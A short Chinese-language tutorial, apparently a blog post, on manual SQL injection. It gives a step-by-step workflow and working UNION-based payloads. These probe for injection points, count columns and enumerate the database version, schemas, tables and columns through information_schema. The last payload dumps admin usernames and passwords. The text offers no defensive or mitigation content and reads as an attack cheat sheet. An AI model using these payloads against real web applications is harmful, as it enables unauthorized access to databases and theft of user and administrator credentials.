SQL注入(简介,操作)

1.sql注入:

攻击者通过构造不同的SQL语句来实现对数据库的操作。

2.sql注入的危害:

  1. 获得用户数据(甚至是个人隐私)
  2. 获得(修改)管理员的账号密码
  3. 修改网站数据
  4. 上传文件(shell)

3.sql手注的基本姿势

  • 判断注入点(通过构造错误的语句根据返回结果判断是否存在注入点,单引号,1=2……)
  • 判断字段数(order by)
  • 判断回显点(union select 1,2,……)
  • 查询相关内容
    • 猜询数据库版本

      and 1=2 union select 1,version()
      
    • 猜询数据库

      and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1
      
      and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)
      
    • 猜询表名

      and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1
      
      and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() ) 
      
    • 查询字段名

      and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin'limit 0,1
      
      and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin')
      
    • 查询字段内容

      and 1=2 union select 1,concat(username,',',password) from admin
      

你可能感兴趣的:(SQL)